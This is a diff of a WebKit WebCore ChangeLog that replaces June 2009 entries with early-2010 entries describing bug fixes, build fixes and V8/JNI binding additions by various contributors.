+        (WebCore::HTMLFrameElementBase::setNameAndOpenURL):
+        (WebCore::HTMLFrameElementBase::updateLiveFrame):
+        Update frame tree, reset page in the contentFrame and re-set the name.
 
-2009-06-25  Dan Bernstein  <mitz@apple.com>
+        (WebCore::HTMLFrameElementBase::insertedIntoDocument): 
+        * html/HTMLFrameElementBase.h:
 
-        Reviewed by Darin Adler.
+        * page/Frame.cpp:
+        (WebCore::Frame::setPage):
+        * page/Frame.h: Add setPage method. It is only currently used when iframe is
+                        moved between pages (so the ASSERT(m_ownerElement).
 
-        - fix https://bugs.webkit.org/show_bug.cgi?id=26671
-          <rdar://problem/7001880> Safari 4.0 crashes in
-          WebCore::DOMTimer::fired()
+2010-02-01  Brady Eidson  <beidson@apple.com>
 
-        Test: fast/dom/style-sheet-candidate-remove-unrendered-document.html
+        Reviewed by Tim Hatcher.
 
-        When a "style sheet candidate" element is removed from a document,
-        call Document::removeStyleSheetCandidateNode() regardless of whether
-        the document is rendered. Otherwise, the document's style sheet
-        candidate set can end up containing stale references.
+        Add common IRC ports to port blocking.
+        <rdar://problem/7593895> and https://bugs.webkit.org/show_bug.cgi?id=34451
 
-        * dom/ProcessingInstruction.cpp:
-        (WebCore::ProcessingInstruction::removedFromDocument):
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::removedFromDocument):
-        * html/HTMLStyleElement.cpp:
-        (WebCore::HTMLStyleElement::removedFromDocument):
+        * platform/KURL.cpp:
+        (WebCore::portAllowed):
 
-2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+2010-01-29  Jeremy Orlow  <jorlow@chromium.org>
 
-        Reviewed by Darin Fisher.
+        Reviewed by Nate Chapin.
 
-        Update CodeGeneratorV8.pm to sync up with the changes downstream.
+        [V8] Add compile time guards for IndexedDB custom functions
+        https://bugs.webkit.org/show_bug.cgi?id=34368
 
-        * bindings/scripts/CodeGeneratorV8.pm: Added HTMLFrameSetElement check,
-          FileList as a ref-counted type, and DataGridColumn as typeCanFailConversion.
+        * bindings/v8/custom/V8IDBRequestCustom.cpp:
+        * bindings/v8/custom/V8IndexedDatabaseRequestCustom.cpp:
 
-2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+2010-01-29  Gavin Barraclough  <barraclough@apple.com>
 
-        Unreviewed, build fix.
+        Reviewed by Sam Weinig + Oliver Hunt.
 
-        Add FileList.h include to fix Chromium build.
+        Bug 34346 - With JSC bindings, make processingUserGesture work with events in Isolated Worlds
 
-        * platform/chromium/ClipboardChromium.cpp: Added FileList.h include.
+        Change HTMLMediaElement methods that require checking whether the event is a user gesture to
+        be passed a boolean.  This may be passed from the JSC bindings (where we have an exec state),
+        or read from the event.  Add a Flag to the IDL to mark this information is required.
 
-2009-06-25  Joseph Pecoraro  <joepeck02@gmail.com>
+        * WebCore.Video.exp:
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::processingUserGesture):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::domWindowAllowPopUp):
+        (WebCore::JSDOMWindow::open):
+        (WebCore::JSDOMWindow::showModalDialog):
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::setLocation):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        (WebCore::ScriptController::processingUserGestureEvent):
+        (WebCore::ScriptController::anyPageIsProcessingUserGesture):
+        * bindings/js/ScriptController.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/Event.cpp:
+        (WebCore::Event::isUserEvent):
+        * dom/Event.h:
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::removedFromDocument):
+        (WebCore::HTMLMediaElement::load):
+        (WebCore::HTMLMediaElement::play):
+        (WebCore::HTMLMediaElement::pause):
+        (WebCore::HTMLMediaElement::beginScrubbing):
+        (WebCore::HTMLMediaElement::documentDidBecomeActive):
+        (WebCore::HTMLMediaElement::webkitEnterFullScreen):
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.idl:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isProcessingUserGesture):
+        * loader/MediaDocument.cpp:
+        (WebCore::MediaDocument::defaultEventHandler):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::allowPopUp):
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlSeekButtonElement::defaultEventHandler):
 
-        Reviewed by Jan Alonzo.
+2010-02-01  Andreas Kling  <andreas.kling@nokia.com>
 
-        Bug 26489: Web Inspector: Typo in DatabaseQuery Error Message
-        https://bugs.webkit.org/show_bug.cgi?id=26489
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Fixed a Typo in a Web Inspector error message.
+        [Qt] Use the fallback style on Maemo 5
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/DatabaseQueryView.js:
-        (WebInspector.DatabaseQueryView.prototype._queryError):
+        https://bugs.webkit.org/show_bug.cgi?id=34376
 
-2009-06-25  Simon Hausmann  <simon.hausmann@nokia.com>
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::RenderThemeQt):
+        (WebCore::RenderThemeQt::fallbackStyle):
+        (WebCore::RenderThemeQt::qStyle):
+        (WebCore::RenderThemeQt::setPaletteFromPageClientIfExists):
+        * platform/qt/RenderThemeQt.h:
 
-        Fix the Qt build, add missing StorageAreaSync files to the build.
+2010-02-01  Kavita Kanetkar  <kkanetkar@chromium.org>
 
-        * WebCore.pro:
+        Reviewed by Nate Chapin.
 
-2009-06-25  Simon Hausmann  <simon.hausmann@nokia.com>
+        [V8] Making V8 generated classes' GetTemplate() function public
+        https://bugs.webkit.org/show_bug.cgi?id=34026
 
-        Reviewed by and done with Tor Arne Vestbø.
+        * bindings/scripts/CodeGeneratorV8.pm: Generated code need not depend on V8CustomBinding.h, made GetTemplate() signature public.
 
-        Fix shortcut keyboard handling with plugins on the Qt/Mac build.
+2010-02-01  Steve Block  <steveblock@google.com>
 
-        When we receive shortcut events like Ctrl+V then the text in the QKeyEvent is
-        empty. If we're asked to disambiguate the event into a Char keyboard event,
-        we try to detect this situation and still set the text, to ensure that the
-        general event handling sends a key press event after this disambiguation.
+        Reviewed by Ariya Hidayat.
 
-        * platform/qt/PlatformKeyboardEventQt.cpp:
-        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+        Adds V8-specific JNI bridge classes
+        https://bugs.webkit.org/show_bug.cgi?id=34166
 
-2009-06-25  Eric Seidel  <eric@webkit.org>
+        This is the V8 equivalent of bridge/jni/jsc/JNIBridgeJSC.
 
-        Build fix only, no review.
+        No new tests, build fix only.
 
-        Add FileList.h and NotImplemented.h includes in an attempt to fix bots.
+        * Android.v8bindings.mk: Modified. Added JNIBridge.cpp and JNIBridgeV8.cpp
+        * bridge/Bridge.h: Modified. Added missing include for Noncopyable.h
+        * bridge/jni/v8/JNIBridgeV8.cpp: Added.
+        (JavaField::JavaField):
+        * bridge/jni/v8/JNIBridgeV8.h: Added.
+        (JSC::Bindings::JavaField::name):
+        (JSC::Bindings::JavaField::type):
+        (JSC::Bindings::JavaField::getJNIType):
 
-        * platform/gtk/ClipboardGtk.cpp:
-        * platform/qt/ClipboardQt.cpp:
-        * platform/win/ClipboardWin.cpp:
-        * platform/wx/ClipboardWx.cpp:
+2010-02-01  Steve Block  <steveblock@google.com>
 
-2009-05-21  Eric Seidel  <eric@webkit.org>
+        Reviewed by Ariya Hidayat.
 
-        Reviewed by Maciej Stachowiak.
+        Adds V8-specific JNI utility functions.
+        https://bugs.webkit.org/show_bug.cgi?id=33901
 
-        Expose files in the clipboard in ondrop events
-        https://bugs.webkit.org/show_bug.cgi?id=25916
+        This is the V8 equivalent of bridge/jni/jsc/JNIUtilityPrivate.
 
-        Make it possible for applications like gmail to implement
-        drag and drop of attachments onto email messages.
+        No new tests, build fix only.
 
-        This patch exposes an event.dataTransfer.files accessor
-        on the drop event.  No information is exposed during dragover.
-        This follows the HTML 5 drag and drop security model:
-        http://www.w3.org/TR/html5/editing.html#security-risks-in-the-drag-and-drop-model
-        The test http/tests/security/clipboard/clipboard-file-access.html
-        verifies this behavior.
+        * Android.v8bindings.mk: Modified. Add JNIUtilityPrivate.cpp
+        * bridge/jni/v8/JNIUtilityPrivate.cpp: Added.
+        (JSC::Bindings::convertNPVariantToJValue):
+        (JSC::Bindings::convertJValueToNPVariant):
+        * bridge/jni/v8/JNIUtilityPrivate.h: Added.
 
-        Internet Explorer shows historical documentation of supporting
-        getData('File') as a way of exposing files on the pasteboard.  The current version of their docs:
-        http://msdn.microsoft.com/en-us/library/ms537658(VS.85).aspx
-        has removed this reference (as far as I can tell IE never implemented it)
-        I have a printed copy of that URL from 2008 on my desk describing getData('File') in IE.
-        IE does not follow the HTML5 clipboard security model and always allows access to the full clipboard, even on dragover.
+2010-02-01  Steve Block  <steveblock@google.com>
 
-        I choose not to use IE's getData('File') and instead added .files
-        so that the accessor could have a type, matching WebKit's existing
-        .files accessor on HTMLInputElement.
+        Reviewed by Ariya Hidayat.
 
-        Mozilla has equivalent file access:
-        event.dataTransfer.mozGetDataAt("application/x-moz-file", 0);
-        which also does not return a typed value.
-        https://developer.mozilla.org/En/DragDrop/Recommended_Drag_Types#Dragging_Files
+        Adds V8 version of JavaClass
+        https://bugs.webkit.org/show_bug.cgi?id=33898
 
-        This is only implemented for Mac WebKit.  All other platforms (including Apple's Win WebKit)
-        have incomplete Clipboard implementations and will require experts from those platforms
-        to add this functionality.  Right now they all have Clipboard*::files() methods which call notImplemented();
+        This is the V8 equivalent of bridge/jni/jsc/JavaClassJSC
 
-        Test: http/tests/security/clipboard/clipboard-file-access.html
+        No new tests, build fix only.
 
-        * dom/Clipboard.h:
-        * dom/Clipboard.idl:
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::files):
-        * platform/chromium/ClipboardChromium.h:
-        * platform/gtk/ClipboardGtk.cpp:
-        (WebCore::ClipboardGtk::files):
-        * platform/gtk/ClipboardGtk.h:
-        * platform/mac/ClipboardMac.h:
-        * platform/mac/ClipboardMac.mm:
-        (WebCore::absoluteURLsFromPasteboardFilenames):
-        (WebCore::absoluteURLsFromPasteboard):
-        (WebCore::ClipboardMac::files):
-        * platform/qt/ClipboardQt.cpp:
-        (WebCore::ClipboardQt::files):
-        * platform/qt/ClipboardQt.h:
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::ClipboardWin::files):
-        * platform/win/ClipboardWin.h:
-        * platform/wx/ClipboardWx.cpp:
-        (WebCore::ClipboardWx::files):
-        * platform/wx/ClipboardWx.h:
+        * Android.v8bindings.mk: Modified. Added JavaClassV8.cpp
+        * bridge/jni/v8/JavaClassV8.cpp: Added.
+        (JavaClass::JavaClass):
+        (JavaClass::~JavaClass):
+        (JavaClass::methodsNamed):
+        (JavaClass::fieldNamed):
+        * bridge/jni/v8/JavaClassV8.h: Added.
 
-2009-06-25  Eric Seidel  <eric@webkit.org>
+2010-02-01  Steve Block  <steveblock@google.com>
 
-        No review, only completing revert of r45144.
+        Reviewed by Ariya Hidayat.
 
-        Add back files deleted by r45144.
+        Adds V8 version of JavaInstance
+        https://bugs.webkit.org/show_bug.cgi?id=33951
 
-        * storage/LocalStorageArea.cpp: Added.
-        (WebCore::LocalStorageArea::create):
-        (WebCore::LocalStorageArea::LocalStorageArea):
-        (WebCore::LocalStorageArea::scheduleFinalSync):
-        (WebCore::LocalStorageArea::itemChanged):
-        (WebCore::LocalStorageArea::itemRemoved):
-        (WebCore::LocalStorageArea::areaCleared):
-        (WebCore::LocalStorageArea::blockUntilImportComplete):
-        (WebCore::LocalStorageArea::dispatchStorageEvent):
-        * storage/LocalStorageArea.h: Added.
-        * storage/SessionStorageArea.cpp: Added.
-        (WebCore::SessionStorageArea::copy):
-        (WebCore::SessionStorageArea::SessionStorageArea):
-        (WebCore::SessionStorageArea::itemChanged):
-        (WebCore::SessionStorageArea::itemRemoved):
-        (WebCore::SessionStorageArea::areaCleared):
-        (WebCore::SessionStorageArea::blockUntilImportComplete):
-        (WebCore::SessionStorageArea::dispatchStorageEvent):
-        * storage/SessionStorageArea.h: Added.
-        (WebCore::SessionStorageArea::create):
+        This is the V8 equivalent of bridge/jni/jsc/JavaInstanceJSC.
+        Also fixes a typo in a comment in JavaInstanceJSC.cpp.
 
-2009-06-25  Eric Seidel  <eric@webkit.org>
+        No new tests, build fix only.
 
-        No review, reverting r45144 only.
+        * Android.v8bindings.mk: Modified. Added JavaInstanceV8.cpp
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Modified.
+        (JavaInstance::invokeMethod): Modified. Fixed comment
+        * bridge/jni/v8/JavaInstanceV8.cpp: Added.
+        (JavaInstance::JavaInstance):
+        (JavaInstance::~JavaInstance):
+        (JavaInstance::getClass):
+        (JavaInstance::invokeMethod):
+        (JObjectWrapper::JObjectWrapper):
+        (JObjectWrapper::~JObjectWrapper):
+        * bridge/jni/v8/JavaInstanceV8.h: Added.
+        (JSC::Bindings::JObjectWrapper::instance):
+        (JSC::Bindings::JObjectWrapper::setInstance):
+        (JSC::Bindings::JObjectWrapper::ref):
+        (JSC::Bindings::JObjectWrapper::deref):
+        (JSC::Bindings::JavaInstance::javaInstance):
+        (JSC::Bindings::JavaInstance::begin):
+        (JSC::Bindings::JavaInstance::end):
+        (JSC::Bindings::JavaInstance::virtualBegin):
+        (JSC::Bindings::JavaInstance::virtualEnd):
 
-        Roll out r45144 after 18 test failures appeared on the bots.
-        https://bugs.webkit.org/show_bug.cgi?id=26698
+2010-02-01  Dumitru Daniliuc  <dumi@chromium.org>
 
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/LocalStorage.cpp:
-        (WebCore::LocalStorage::storageArea):
-        * storage/LocalStorage.h:
-        * storage/SessionStorage.cpp:
-        (WebCore::SessionStorage::copy):
-        (WebCore::SessionStorage::storageArea):
-        * storage/SessionStorage.h:
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::StorageArea):
-        (WebCore::StorageArea::~StorageArea):
-        (WebCore::StorageArea::setItem):
-        (WebCore::StorageArea::removeItem):
-        (WebCore::StorageArea::clear):
-        * storage/StorageArea.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::StorageAreaSync):
-        (WebCore::StorageAreaSync::scheduleFinalSync):
-        (WebCore::StorageAreaSync::syncTimerFired):
-        (WebCore::StorageAreaSync::performImport):
-        * storage/StorageAreaSync.h:
-        * storage/StorageSyncManager.h:
+        Reviewed by Eric Seidel.
 
-2009-06-24  Jeremy Orlow  <jorlow@chromium.org>
+        Making sure that all in-progress transactions are rolled back on
+        the database thread before they're destroyed. Otherwise,
+        SQLiteTransaction's destructor will try to do a rollback and that
+        would cause an assertion failure, if the object is not destroyed
+        on the DB thread.
 
-        Reviewed by Darin Fisher.
+        https://bugs.webkit.org/show_bug.cgi?id=34152
 
-        https://bugs.webkit.org/show_bug.cgi?id=26698
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::stop):
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::notifyDatabaseThreadIsShuttingDown):
+        * storage/SQLTransaction.h:
+        * storage/SQLTransactionCoordinator.cpp:
+        (WebCore::SQLTransactionCoordinator::shutdown):
 
-        Combined LocalStorageArea and SessionStorageArea into StorageArea since
-        (after my other refactorings) there are no longer substantial
-        differences between the two.
+2010-02-01  Sam Weinig  <sam@webkit.org>
 
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/LocalStorage.cpp:
-        (WebCore::LocalStorage::storageArea):
-        * storage/LocalStorage.h:
-        * storage/LocalStorageArea.cpp: Removed.
-        * storage/LocalStorageArea.h: Removed.
-        * storage/SessionStorage.cpp:
-        (WebCore::SessionStorage::copy):
-        (WebCore::SessionStorage::storageArea):
-        * storage/SessionStorage.h:
-        * storage/SessionStorageArea.cpp: Removed.
-        * storage/SessionStorageArea.h: Removed.
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::createLocalStorage):
-        (WebCore::StorageArea::StorageArea):
-        (WebCore::StorageArea::createSessionStorage):
-        (WebCore::StorageArea::copy):
-        (WebCore::StorageArea::setItem):
-        (WebCore::StorageArea::removeItem):
-        (WebCore::StorageArea::clear):
-        (WebCore::StorageArea::scheduleFinalSync):
-        (WebCore::StorageArea::blockUntilImportComplete):
-        (WebCore::StorageArea::dispatchStorageEvent):
-        * storage/StorageArea.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::StorageAreaSync):
-        (WebCore::StorageAreaSync::scheduleFinalSync):
-        (WebCore::StorageAreaSync::syncTimerFired):
-        (WebCore::StorageAreaSync::performImport):
-        * storage/StorageAreaSync.h:
-        * storage/StorageSyncManager.h:
+        Reviewed by Beth Dakin.
 
-2009-06-24  Dan Bernstein  <mitz@apple.com>
+        Fix EXPERIMENTAL_SINGLE_VIEW_MODE build.
 
-        Reviewed by Simon Fraser.
+        * page/EventHandler.h:
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::currentNSEvent):
+        (WebCore::EventHandler::currentKeyboardEvent):
+        (WebCore::EventHandler::mouseDown):
+        (WebCore::EventHandler::mouseDragged):
+        (WebCore::EventHandler::mouseUp):
+        (WebCore::EventHandler::mouseMoved):
+        (WebCore::EventHandler::keyEvent):
+        (WebCore::EventHandler::wheelEvent):
+        (WebCore::EventHandler::sendContextMenuEvent):
+        (WebCore::EventHandler::eventMayStartDrag):
+        (WebCore::EventHandler::sendFakeEventsAfterWidgetTracking):
 
-        - fix <rdar://problem/7001817> REGRESSION (r41902): Base position track
-          at UCSC Genome Browser doesn't work because image map prevents img
-          from hit-testing
+2010-02-01  Nate Chapin  <japhet@chromium.org>
 
-        Test: fast/replaced/image-map-2.html
+        Unreviewed, Chromium build fix.
 
-        * rendering/RenderImage.cpp:
-        (WebCore::RenderImage::nodeAtPoint): Do not reset 'inside' to false if
-        the image map failed the hit test.
+        Failed to properly add new files for http://trac.webkit.org/changeset/54150.
 
-2009-06-22  Adam Barth  <abarth@webkit.org>
+        * bindings/v8/custom/V8BarInfoCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSRuleCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSStyleSheetCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSValueCustom.cpp: Added.
+        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp: Added.
+        * bindings/v8/custom/V8DOMSelectionCustom.cpp: Added.
+        * bindings/v8/custom/V8HTMLElementCustom.cpp: Added.
+        * bindings/v8/custom/V8SVGDocumentCustom.cpp: Added.
+        * bindings/v8/custom/V8SVGElementCustom.cpp: Added.
+        * bindings/v8/custom/V8SVGPathSegCustom.cpp: Added.
+        * bindings/v8/custom/V8ScreenCustom.cpp: Added.
+        * bindings/v8/custom/V8StyleSheetCustom.cpp: Added.
+        * bindings/v8/custom/V8WebGLArrayCustom.cpp: Added.
 
-        Reviewed by Dimitri Glazkov.
+2010-01-27  Matt Perry  <mpcomplete@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26366
+        Reviewed by Eric Seidel.
 
-        Refactor V8DOMMap to support isolated worlds.
+        Add support for addUserScript to chromium port.
 
         * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluateInNewWorld):
+        (WebCore::ScriptController::evaluateInWorld):
         * bindings/v8/ScriptController.h:
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::DOMDataStore::InternalDOMWrapperMap::InternalDOMWrapperMap):
-        (WebCore::DOMDataStore::allStores):
-        (WebCore::DOMDataStore::allStoresMutex):
-        (WebCore::DOMDataStore::domData):
-        (WebCore::ScopedDOMDataStore::ScopedDOMDataStore):
-        (WebCore::ScopedDOMDataStore::~ScopedDOMDataStore):
-        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
-        (WebCore::):
-        (WebCore::MainThreadDOMData::MainThreadDOMData):
-        (WebCore::MainThreadDOMData::getStore):
-        (WebCore::ChildThreadDOMData::ChildThreadDOMData):
-        (WebCore::ChildThreadDOMData::getStore):
-        (WebCore::DOMDataStore::DOMDataStore):
-        (WebCore::DOMDataStore::~DOMDataStore):
-        (WebCore::DOMDataStoreHandle::DOMDataStoreHandle):
-        (WebCore::DOMDataStoreHandle::~DOMDataStoreHandle):
-        (WebCore::forget):
-        (WebCore::getDOMNodeMap):
-        (WebCore::getDOMObjectMap):
-        (WebCore::getActiveDOMObjectMap):
-        (WebCore::getDOMSVGElementInstanceMap):
-        (WebCore::getDOMSVGObjectWithContextMap):
-        (WebCore::DOMData::getCurrent):
-        (WebCore::DOMData::handleWeakObject):
-        (WebCore::DOMData::ensureDeref):
-        (WebCore::weakDOMObjectCallback):
-        (WebCore::weakActiveDOMObjectCallback):
-        (WebCore::weakNodeCallback):
-        (WebCore::weakSVGElementInstanceCallback):
-        (WebCore::weakSVGObjectWithContextCallback):
-        (WebCore::DOMData::derefObject):
-        (WebCore::DOMData::derefDelayedObjects):
-        (WebCore::DOMData::derefDelayedObjectsInCurrentThread):
-        (WebCore::DOMData::removeObjectsFromWrapperMap):
-        (WebCore::removeAllDOMObjectsInCurrentThreadHelper):
-        (WebCore::visitDOMNodesInCurrentThread):
-        (WebCore::visitDOMObjectsInCurrentThread):
-        (WebCore::visitActiveDOMObjectsInCurrentThread):
-        (WebCore::visitDOMSVGElementInstancesInCurrentThread):
-        (WebCore::visitSVGObjectsInCurrentThread):
-        * bindings/v8/V8DOMMap.h:
-        (WebCore::DOMDataStoreHandle::getStore):
-        * bindings/v8/V8IsolatedWorld.cpp: Added.
-        (WebCore::getIsolatedWorldKey):
-        (WebCore::contextWeakReferenceCallback):
-        (WebCore::V8IsolatedWorld::evaluate):
-        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
-        (WebCore::V8IsolatedWorld::~V8IsolatedWorld):
-        (WebCore::V8IsolatedWorld::getEntered):
-        * bindings/v8/V8IsolatedWorld.h: Added.
-        (WebCore::V8IsolatedWorld::getDOMDataStore):
-
-2009-06-24  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Bug 26604: Search doesn't work in Web Inspector Profiler
-        https://bugs.webkit.org/show_bug.cgi?id=26604
-
-        Seems like search was damaged in revision 42808.
-
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView.prototype.refresh):
-        Here and in other functions: nodes we're searching in are profile data grid
-        nodes, so there is no more need for '_dataGridNode' references.
-        (WebInspector.ProfileView.prototype.searchCanceled):
-        (WebInspector.ProfileView.prototype.performSearch.matchesQuery):
-        Fixed accidental semicolon that caused 'matchesQuery' always return true.
-        (WebInspector.ProfileView.prototype.performSearch):
-        To perform search correctly in the case of bottom up tree, we need to populate
-        the tree, because there's no 1-to-1 correspondence between profile nodes and
-        data grid nodes in this case.
-        (WebInspector.ProfileView.prototype._jumpToSearchResult):
-
-2009-06-24  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Darin Adler.
-        
-        <rdar://problem/6450239&6574516>
-    
-        Fix flashing issues caused by compositing layers rendering content before
-        a deferred layout has happened. Because the -viewWillDraw machinery doesn't
-        work for composited layers, we need to use scheduleViewUpdate() to queue
-        up a layout via the run loop observer in WebKit, whenever we know we
-        are going to be painting soon.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::setContentsNeedDisplay):
-        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
-
-2009-06-24  David Levin  <levin@chromium.org>
-
-        Fix all builds.
-
-        * ForwardingHeaders/wtf/FastAllocBase.h: Added.
-
-2009-06-24  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26658
 
-        Split the syncing portions of LocalStorageArea into StorageAreaSync.
-        This name will make more sense in the next patch (in this set) when
-        LocalStorageArea and SessionStorageArea are merged to become simply
-        StorageArea.  (Thus the synching portion of StorageArea is in
-        StorageAreaSync.)
-
-        This looks like a big patch, but really all it's doing is splitting
-        code and patching split-related things up.
-
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/LocalStorageArea.cpp:
-        (WebCore::LocalStorageArea::create):
-        (WebCore::LocalStorageArea::LocalStorageArea):
-        (WebCore::LocalStorageArea::scheduleFinalSync):
-        (WebCore::LocalStorageArea::itemChanged):
-        (WebCore::LocalStorageArea::itemRemoved):
-        (WebCore::LocalStorageArea::areaCleared):
-        (WebCore::LocalStorageArea::blockUntilImportComplete):
-        * storage/LocalStorageArea.h:
-        * storage/LocalStorageTask.cpp:
-        (WebCore::LocalStorageTask::LocalStorageTask):
-        * storage/LocalStorageTask.h:
-        (WebCore::LocalStorageTask::createImport):
-        (WebCore::LocalStorageTask::createSync):
-        * storage/LocalStorageThread.cpp:
-        (WebCore::LocalStorageThread::scheduleImport):
-        (WebCore::LocalStorageThread::scheduleSync):
-        * storage/LocalStorageThread.h:
-        * storage/SessionStorageArea.cpp:
-        (WebCore::SessionStorageArea::blockUntilImportComplete):
-        * storage/SessionStorageArea.h:
-        * storage/StorageArea.h:
-        * storage/StorageAreaSync.cpp: Copied from WebCore/storage/LocalStorageArea.cpp.
-        * storage/StorageAreaSync.h: Copied from WebCore/storage/LocalStorageArea.h.
-        * storage/StorageSyncManager.cpp:
-        (WebCore::StorageSyncManager::scheduleImport):
-        (WebCore::StorageSyncManager::scheduleSync):
-        * storage/StorageSyncManager.h:
-
-2009-06-24  Adam Treat  <adam.treat@torchmobile.com>
-
-        Fix Qt build.
-
-        * WebCore.pro:
-
-2009-06-24  David Levin  <levin@chromium.org>
-
-        Reviewed by David Hyatt.
-
-        Bug 26696: Member functions in DataGridColumnList should return pointers instead of PassRefPtr.
-        https://bugs.webkit.org/show_bug.cgi?id=26696
-
-        * html/DataGridColumnList.cpp:
-        (WebCore::DataGridColumnList::itemWithName):
-        (WebCore::DataGridColumnList::add):
-        * html/DataGridColumnList.h:
-        (WebCore::DataGridColumnList::item):
-        (WebCore::DataGridColumnList::primaryColumn):
-        (WebCore::DataGridColumnList::sortColumn):
-
-2009-06-24  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dave "Messy" Hyatt.
-
-        Little bit of style cleanup.
-
-        * html/DataGridColumn.cpp:
-        * html/DataGridColumn.h:
-        * html/DataGridColumn.idl:
-        * html/DataGridColumnList.cpp:
-        * html/DataGridColumnList.h:
-        * html/DataGridColumnList.idl:
-        * html/HTMLDataGridCellElement.cpp:
-        * html/HTMLDataGridCellElement.h:
-        * html/HTMLDataGridCellElement.idl:
-        * html/HTMLDataGridColElement.cpp:
-        * html/HTMLDataGridColElement.h:
-        * html/HTMLDataGridColElement.idl:
-        * html/HTMLDataGridElement.h:
-        * html/HTMLDataGridElement.idl:
-        * html/HTMLDataGridRowElement.cpp:
-        * html/HTMLDataGridRowElement.h:
-        * html/HTMLDataGridRowElement.idl:
-
-2009-06-24  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Bug 26668: AX: need a way to retrieve the language for an element
-        
-        Provides a way to retrieve the language associated with a specific accessibility element.
-
-        Test: accessibility/language-attribute.html
-
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::language):
-        * accessibility/AccessibilityObject.h:
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::language):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-
-2009-06-24  Brady Eidson  <beidson@apple.com>
+2010-02-01  Eric Carlson  <eric.carlson@apple.com>
 
         Reviewed by Dan Bernstein.
-        
-        <rdar://problem/6893811> Instead of downloading files linked from Google Earth, file contents displayed in browser window as text.
-
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (createBinaryExtensionsSet): Add '.kmz' to the list of known-to-be-binary extensions.
-
-2009-06-24  Nicolas Weber  <thakis@chromium.org>
-
-        Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26685
-        Accomodate for backwards-incompatible skia api changes.
+        https://bugs.webkit.org/show_bug.cgi?id=34448
+        <rdar://problem/7598130>
 
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::clearRect):
-        (WebCore::GraphicsContext::setCompositeOperation):
-        * platform/graphics/skia/ImageBufferSkia.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        * platform/graphics/skia/ImageSkia.cpp:
-        (WebCore::paintSkBitmap):
-        (WebCore::Image::drawPattern):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::State::State):
-        (PlatformContextSkia::setupPaintCommon):
-        (PlatformContextSkia::setXfermodeMode):
-        (PlatformContextSkia::applyClipFromImage):
-        * platform/graphics/skia/PlatformContextSkia.h:
-        * platform/graphics/skia/SkiaUtils.cpp:
-        (WebCore::):
-        (WebCore::WebCoreCompositeToSkiaComposite):
-        * platform/graphics/skia/SkiaUtils.h:
+        RenderVideo::intrinsicSizeChanged infinite recursion
 
-2009-06-24  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Gtk build fix. Add files that were added in r45093 and r45096
+        * rendering/RenderImage.h:
+        (WebCore::RenderImage::intrinsicSizeChanged): Make protected instead of private so it can
+            be called by RenderVideo.
